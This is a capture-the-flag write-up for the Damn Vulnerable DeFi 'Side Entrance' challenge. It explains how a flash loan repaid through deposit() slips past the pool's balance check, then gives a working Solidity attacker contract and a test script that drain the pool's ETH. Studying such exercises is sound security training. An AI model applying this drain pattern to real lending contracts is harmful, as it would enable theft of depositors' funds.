Hey there! I’m back with my fourth blog post in my Damn Vulnerable DeFi series. Today, I’ll guide you through hacking the Side Entrance challenge.

Goal

We have a simple pool that allows anyone to deposit and withdraw ETH. The pool has a balance of 1000 ETH. It also offers flash loans for free. We start with 1 ETH in balance and must take all ETH from the pool 🥷

Rundown

Let’s take a look at the SideEntranceLenderPool contract which is the only contract in this challenge.

This is a pool which is a bespoke implementation of a flash loan lender. It allows users to deposit() and withdraw() ETH. The following mapping is used for internal bookkeeping of the depositors' balances:

mapping(address => uint256) private balances;

The deposit() function is a payable one. Whenever someone sends ETH to it, their balance in the pool is updated accordingly. Updating the balance happens in an unchecked block which may be a lead. Upon successful deposit, a Deposit event is emitted:

function deposit() external payable {
  unchecked {
    balances[msg.sender] += msg.value;
  }
  emit Deposit(msg.sender, msg.value);
}

withdraw() allows users to withdraw their whole balance of ETH from the pool. There are no checks whatsoever. The function takes care of handling effects before interactions so the function is not susceptible to reentrancy attacks. The function uses solady’s SafeTransferLib for the ETH transfers. This ensures the function reverts in case of unsuccessful transfer which would prevent users from funds loss:

function withdraw() external {
  uint256 amount = balances[msg.sender];

  delete balances[msg.sender];
  emit Withdraw(msg.sender, amount);

  SafeTransferLib.safeTransferETH(msg.sender, amount);
}

The flashLoan() function uses a well-established pattern:

  • Take a snapshot of the contract balance
  • Send requested amount to the flash loan borrower via callback (IFlashLoanEtherReceiver#execute())
  • Make sure the loan is paid back in full, otherwise revert with RepayFailed() error
function flashLoan(uint256 amount) external {
  uint256 balanceBefore = address(this).balance;

  IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

  if (address(this).balance < balanceBefore)
   revert RepayFailed();
}

Solution

Reentrancy is not possible in the withdraw() function as external interactions occur after balance updates.

The flashLoan() function is also secure against reentrancy attacks due to its strong invariant check.

However, a potential vulnerability arises if a flash loan is obtained and returned through the deposit() function, allowing subsequent draining of the entire pool ETH balance using withdraw(). This is possible because the flashLoan() balance invariant takes into consideration the balance of the whole contract so by returning the funds via deposit() we do not violate it.

Let’s create a smart contract to execute this attack:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { SideEntranceLenderPool, IFlashLoanEtherReceiver } from "./SideEntranceLenderPool.sol";

contract SideEntranceAttacker is IFlashLoanEtherReceiver {
  SideEntranceLenderPool private pool;
  address payable private player;

  constructor(SideEntranceLenderPool _pool, address payable _player) {
   pool = _pool;
   player = _player;
  }

  function execute() external payable override {
    pool.deposit{value: msg.value}();
  }

  function attack() external {
    uint256 poolBalance = address(pool).balance;
    pool.flashLoan(poolBalance);
    pool.withdraw();
    player.call{value: address(this).balance}('');
  }
  
  receive() external payable {}
}

The SideEntranceAttacker contract serves as a IFlashLoanEtherReceiver and is designed to execute the attack scenario. Its constructor takes the pool and player addresses as arguments. The contract includes an empty receive() function to receive ETH from the flash loan lender. The attack() function serves as the entry point and follows these steps:

  1. Requests a flash loan for the total ETH balance of the pool.
  2. The flash loan is transferred to the contract via the SideEntranceAttacker#execute() callback.
  3. The execute() function repays the loan by calling pool.deposit{value: msg.value}(), granting the attacker full control of the pool’s ETH balance.
  4. After the pool.flashLoan() completes, pool.withdraw() is called to drain all funds from the pool.
  5. The final step involves transferring the ETH to the player, achieving the objective of the CTF.

The execute the attack, we need to update side-entrance.challenge.js as follows:

// ...
it('Execution', async function () {
  let attacker = await (await ethers.getContractFactory('SideEntranceAttacker', deployer))
    .deploy(pool.address, player.address);
    
  await attacker.attack();
});
// ...

To verify our solution we run:

$ yarn run side-entrance

That’s it! The challenge is solved.

You may find the full solution in my GitHub here: https://github.com/marchev/damn-vulnerable-defi/commit/034c85ffa3291f1043bb0b0b288057bbc6c00883

Outro

This challenge emphasizes the significance of exploring diverse code execution flows that can have a direct or indirect impact on the essential invariants of a smart contract. As security researchers, it is crucial for us to remain vigilant and consider various approaches through which contract invariants can be affected or circumvented.

Any feedback on these CTF write-ups is more than welcome. Feel free to please reach out to me on Twitter or Discord.